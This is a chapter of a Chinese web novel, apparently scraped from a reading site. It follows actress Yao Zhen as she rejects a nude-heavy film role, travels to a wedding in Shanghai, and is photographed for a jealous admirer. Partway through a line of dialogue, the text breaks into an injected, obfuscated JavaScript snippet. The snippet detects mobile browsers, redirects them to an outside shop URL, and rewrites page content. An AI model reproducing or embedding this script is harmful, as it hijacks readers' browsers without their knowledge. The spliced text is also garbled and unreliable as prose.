网友的讨论如火如荼,当事人反而是一知半解。
帝都三里屯,某家以漂亮饭著称的网红店。
姚祯随手把长发夹起来,下巴轻点,示意她们去看手机屏。
“金姐,那个谢人闻要找我拍戏吗?我怎么不知道。”
金姐瞥一眼,表情管理有点失控:“你真是大心脏,豆瓣都敢随便逛啊?谢导确实找了我,不过我正在想怎么跟你说,没来得及开口。”
“我不止敢逛,很多小组我都加入了呢。”姚祯笑一声,“今天趁热打铁说吧。”
贺贺加入对话:“我记得入组都需要小段子,你写了谁的啊?”
姚祯似笑非笑:“我是人脉姐,不需要写段子,随便放点实锤的瓜不就得了。倒是你们几个——写的谁呀,嗯?”
生活助理小木咳了咳:“还是说说那个谢导吧,姐平时不是喜欢拍戏吗。”
反正她写的是姚祯同行的小段子。
姚祯弯唇:“准了。”
几人嬉笑,金姐却乐不起来,她叹气:“那部电影一看就是要冲奖的文艺片,主要是题材比较敏感,我感觉祯祯你不会喜欢。”
尖锐叉子刺入烤鸡,炸脆的声响很好听,姚祯心情不错:“说说?”
金姐字斟句酌:“这片子叫《羽》,以女主小羽的名字命名。小羽是一个失足少女,贪慕虚荣又欺软怕硬,少年被坏男人哄骗误入歧途,然后越陷越深,最终落到跳河自尽的结局。探讨复杂人性和一念之差,冲奖面挺大。”
姚祯喝了口果汁,奇怪道:“这不挺正常的?没碰到我的雷点。”
她并不介意扮演“不完美人物”,世界上这样的人多了去。
“主要是目前透出的拍摄方案……我觉得你会讨厌。”
姚祯拧眉抬眼,思及国内多数男导的劣性,她似乎明白了什么,淡淡说出对方未尽的话语:“要拍摄大量裸露甚至情色戏份,对吗?”
“……嗯。”
贺贺等人都变了脸色,下意识去看姚祯,视线在金姐和姚祯之间流转,内心想法不约而同——
谢人闻疯了吗?
居然对姚祯递这种本子。
得到回答,姚祯扯出果不其然的笑意:“推掉。另外,帮我转达一句:到隔壁岛国冲击奥斯卡去,符合当地国情。”
华国历史悠久,有关深入接触的意象数都数不清,雨天露水也好,花开花落也罢,偏偏所谓的大导执着于皮肉,姚祯看一眼就恶心。
厌恶之情溢于言表,她撇嘴,轻描淡写:“这么喜欢拍裸露镜头,屁股痒了自己扣呗。”
工作助理小花哎呀一声:“祯祯,吃饭呢。”
“忍着。”
刚好有电话打进来,她随手接听:“喂?”
那头的女孩很兴奋:“姐你要不要参加婚礼?沪市傅家嫁女,据说要办一场世纪婚礼呢!”
“嫁给谁啊。”
“港岛郑家的继承人,就是年龄差有点大,对方还是二婚。”说到这个,梁霄宁有点惋惜,“傅家那个姐姐我虽然不认识,但她很面善,感觉是好人。”
姚祯没当回事:“少感觉,多接触。你想拉着我一起?”
“对呀,小姨说傅家也请了你,我们可以结伴去。我提前问过金姐,她说你除了周五要拍杂志封面,剩下半个月都有空。”
姚祯嚼了好几口才咽下天妇罗:“好。梁家这次去几个人?”
出于身材保持的考量,她不能吃太多,多嚼几下能有饱腹感。
“舅舅、知徽姨和哥哥忙工作,爸爸和梁家不熟,妈妈不想去,就我和小乘去。对了,妈妈说家里这次就去几个人,没必要单独申请航线,直接坐公共飞机去就好。”
小乘是梁鹤乘,梁幼薇的小儿子,今年才十五。
姚祯并不意外,点头说好。
她薇薇姨近年热衷环保事业,不乘私人飞机是梁家秦家的共识。
梁霄宁梁聿堂梁鹤乘都随母姓,同母异父,霄宁亲爸是秦家家主,剩下两个的是梁家家主。梁霄宁的家很多,只是平时都跟着哥哥住。
至于为什么梁幼薇也姓梁,纯属因为她过去是梁家的“假千金”,在梁家长大,身份曝光后也没离开。
姚祯对梁家的混乱关系了如指掌,听着她喊舅舅姨姨爸爸妈妈也不混,金姐等人听了却懵,电话刚挂断,就有人问。
“祯祯,我搞不懂这个小宁宁了,她怎么天天乱喊人呢?明明是同个人,有时候喊舅舅有时候喊爸爸的。”
姚祯淡然:“她对世界的认知有一定问题,搞不清人际关系很正常。”
“啊?真假的?”平时也看不出来啊。
姚祯依旧淡然:“真的,她哥对她是不是特别好?我对她是不是也格外有耐心?就是因为这个。”
几人震惊,然后信了。
“这样啊……那小乘是谁呀?都没怎么听你说过。”
“男仆。”
梁家不打算在梁鹤乘成年前对外公布这个小儿子,换而言之,他的定位就是提包男仆。
……
时间转瞬即逝,很快来到婚礼前两天,帝都第一机场,vic候机室。
“咦?姐,你的蓝卷发呢,前天的拍摄主题不是美人鱼吗,怎么头发颜色又变成黑的了?”
门一推开,梁霄宁就蹦蹦跳跳地去迎接来人,看清她的发色,不由得愣了。
杂志封面拍摄当天她还看了“偷跑”呢。
姚祯把手提包随手挂她腕上,“人家的婚礼,我唱跳个什么劲儿,你不也只带了小孩儿包。”
哪家大牌会把游戏人物印包上,梁霄宁幼稚鬼。
对面人皱鼻子:“才不是小孩包,这是我亲自去法国定制的联名款,多好看。”
姚祯坐进沙发,翘上二郎腿,随口喊人:“梁鹤乘,你说好不好看。”
尚在变声期的小少男停顿片刻,他抬眼看向话题中心的双肩包,认真欣赏完才说:“好看的。”
“听到了?小孩觉得好看,你说幼不幼稚。”
“姐!姐!”
姚祯脑子转得快人尽皆知,梁霄宁又爱又恨,被怼了一通,她决心报复一二。
“可幼稚也比不开情窍好吧?傅家眼巴巴儿的给你送请帖,姐你真不知道什么意思?”
“上赶着给我做舔狗的人那么多,傅慈慢慢排队咯。”姚祯笑眯眯,“最近事多,换个地方,刚好换换心情。”
梁霄宁心软,一听“换心情”,马上敏锐起来,她担心道:“还是那个男粉的事吗?”
姚祯倚着真皮沙发,懒洋洋的:“差不多,问他的同行太多了。我同圈好友不算多,几十来个,关系稍微好的都请我吃饭,打听八卦。”
那人天天惹是生非,爱黑头像就黑,她懒得管。
听到这儿,梁鹤乘加入对话,他好奇:“祯祯姐,男粉是那个吾妻吗?”
“看来他还挺出名,咱家国外留学的小孔子都知道。”
梁鹤乘是易过敏体质,平时讲究最多,没法儿和人有肢体接触,又偏爱哲学,装范儿十足。姚祯大手一挥,给他赐号“小孔子”。
“确实是他,但没必要太担心,我能处理好,千万粉丝不缺他一个。”
梁鹤乘点点头,没再多问,怕她不耐烦了骂自己人闲屁事多。
很快一行人登机,三小时后落地沪市。
“这个戴好。”
临出机舱,姚祯突然把自己的棒球帽摘下,递给梁鹤乘。
对方不解:“怎么了姐?”
姚祯言简意赅:“以防万一。你和霄宁都是素人,被拍了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342119|199392||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会很麻烦。”
梁霄宁是饰品收藏大师,去哪儿都会准备与之搭配的帽子包包,加上有口罩,她相对放心妹妹。
梁鹤乘乖乖点头,依言照做,但他还是有点不解:“可这不是你的私人行程吗?别人怎么会知道。”
“或许有个词叫偶遇,还有个词叫开户。”姚祯似笑非笑,“某些艺人飞机餐吃什么还全看私生心情呢。”
为了不让家里人害怕,姚祯没把“登机时有人拍我”这话说出口。她对镜头很敏感,哪个方位有几个镜头都一清二楚。
梁家姚家都在沪市有房产,几人没带行李箱,梁鹤乘一人负担三只包,他任劳任怨地背着,默默等待接机人交班,不时还要回应姐姐们的话。
“姐,我仔细想了一路,感觉那个傅家真有点坏。贼心不死请你理所应当,外人眼里,姚家就是个香饽饽,你又是唯一正统继承人,可他们怎么还给杂七杂八的人发请柬?瞧不起谁呢。”
姚祯单手解锁手机:“鸡蛋不能放在同个篮子里,他家倒不呆,就是把我当傻子。”
梁霄宁面露些许不满:“就是说啊。从感情上来说真的好难接受啊,非常不真诚,你说对不对小乘?”
“嗯,太坏了。”
“所以说,以后你找女朋友可不能货比三家。真心最重要,知不知道?”
“知道,我会的。”
姚祯听乐了:“梁鹤乘才多大,能听进去吗?”
“姐姐,他都十几岁了,哪里小嘛。而且半年才回一次家,在英国孤零零一个人,学坏了找谁说理。”
“放心,梁鹤乘学坏的第二天就被他爸打断——”
话还没说完,姚祯的视线就被定住,她收回未尽的话语,“傅家人到了。”
梁霄宁马上变脸色,她严肃起来,停止说笑。
“姚小姐、梁小姐好。舟车劳顿真是辛苦了,我们已经安排好了午餐,还请您赏脸。”
眼前身着西装的女人温柔,说话体贴,姚祯与她握手,笑意疏离礼貌:“客气。”
临上车前,姚祯身体停顿两秒,她回眸看向某个角落,眼皮眨动间,目光收回,仿佛无事发生。
……
同一时刻。
“这个男人是谁?”
收到偷拍照片的第一秒,傅慈就给拍摄者飞去了电话,语气冷冰冰。
“他头上怎么是姚祯的帽子?”
负责偷拍的的路任很懵:“我也不知道啊哥,我只负责拍沪市接机部分,一看到姚小姐,她身边那个男的头上就有帽子了。”
鬼知道原先的帽子在谁头上。
“……她和那人很亲密么?有没有肢体接触。”
那位目测是青年人,顶多二十岁的样子,年龄段属于姚祯能接受的暧昧对象范围。
路任回忆:“好像有?就是姚小姐有一阵忙着看手机没看路,差点撞到人,那男生拉了一下。噢还有,他还帮姚小姐背包了,看上去关系不错。”
居然还有第二关?
傅慈气得心跳加快:“能看出他是谁吗?更高清的照片有没有?”
不行,不能自乱阵脚,说不定只是助理之一呢?
是,傅慈平时确实最爱给姚祯吹“全女团队”,但姚祯私下的团队布置,他一个外人怎么知道?
经纪人金姐只私联(对接)萌萌她们,鸟都不鸟自己。
“没了哥,那男的包得严实,口罩帽子都有,只能看到身形——但他貌似比例挺好的?背也直,很有气质。”
“他给你工资还是我给你?”
“……哥我求你了。”
傅慈冷冷说了句“有事再联系”就挂断电话。不管了,后天就能见面,傅慈放慢呼吸,他对自己的美貌拥有绝对自信,压过某些连脸都不敢露的人,轻而易举。